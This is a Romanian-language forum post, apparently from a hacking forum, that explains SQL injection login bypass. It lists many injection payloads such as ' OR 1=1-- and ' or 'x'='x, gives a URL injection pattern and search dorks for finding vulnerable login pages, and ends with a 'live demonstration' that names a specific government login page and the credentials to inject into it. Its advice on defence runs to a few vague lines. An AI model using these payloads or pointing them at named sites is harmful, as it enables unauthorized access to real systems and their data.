Administrator
Data inscrierii: 18/Aug/2007
Mesaje: 35
|
|
::::Metoda explicata cu LIVE demonstration::::
SQL Injection este metoda care exploateaza erorile din codul aplicatiilor si îngăduie atacatorului sa injecteze comenzi SQL in formele de login feedback forms,cu scopul obtinerii accesului la informatiile din baza de date.SQL Injection functioneaza fiindcă formele de imput încuviințează expresii SQL sa patrunda direct in baza de date.
Construind programme cu SQL pentru a manipula comenzile din baza si in acest fel capatand acces.
Cea mai folosita este SQL login bypass ,injectand in sectia de login si password.
Code:
Exemplu : ‘ OR 1=1—
Schema URL: http://site.com/index.php?id=0 ‘ OR 1=1—
Alte comenzi : admin’—
‘ OR 0=0—
“ OR=0—
OR 0=0—
‘ HI OR 1=1—
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
Cautam astfel de siteuri cu urmatoarele dorkuri :
â€adminlogin.aspâ€
â€login.aspâ€
Cum sa te aperi de astfel de atacuri.
Sistemul trebuie evaluat pentru absolut orice fel de vulnerabilitate ,codurile trebuie sa fie bug free ,si aplicatiile si tot ce face parte din infrastructura bine satinizate.
La fiecare schimbare a componentelor trebuie facut un web security audit.
Nu are rost sa intru in detalii si in plus nu cunosc indeajuns de mult baza SQL,insa daca nu aveti o infrastructura complexa de care sa aveti grija nici nu se merita sa va complicati.
LIVE demonstration
http://alistrack.azleg.gov/rts/Login.asp
Username: ' or '='
Password: ' or '=' |
|
|
